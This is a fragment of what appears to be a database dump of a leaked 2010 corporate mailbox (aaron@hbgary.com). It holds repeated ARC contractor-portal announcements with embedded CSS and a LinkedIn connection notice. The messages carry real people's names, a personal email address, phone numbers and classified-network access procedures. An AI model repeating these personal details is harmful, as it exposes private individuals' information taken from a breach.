Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',15116,'aaron_hbgary_com/15116.html'),(11199,'2010-09-02','arc@westfields.net','/aaron@hbgary.com/new/1297008541.M305773P14101Q6055.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6768,'aaron_hbgary_com/6768.html'),(11200,'2010-09-02','arc@westfields.net','/aaron@hbgary.com/new/1297008541.M65623P14101Q6054.eml','federal@hbgary.com','NGA / RDAS Announcement Posting','\r\nAn announcement has been posted on the NGA-RDAS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1701,'aaron_hbgary_com/1701.html'),(11201,'2010-09-02','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008548.M800546P14101Q6056.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Christopher has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Christopher are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Christopher Courchesne \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Sr. Principal Security Engineer at Pragmatics, Inc.\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Christopher\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          c.courchesne@yahoo.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Christopher\'s Connections (75) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 John Stoner\r\n                ,\r\n                  Principal Sales Engineer at ArcSight\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Shehzad Mirza\r\n                ,\r\n                  Consultant\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Andrew Downey\r\n                ,\r\n                  Information Security Consultant\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mike Bell\r\n                ,\r\n                  Manager, Technical Account Management at NTT America\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Christopher\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Pragmatics, Inc.\r\n                    \r\n                      Christopher works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              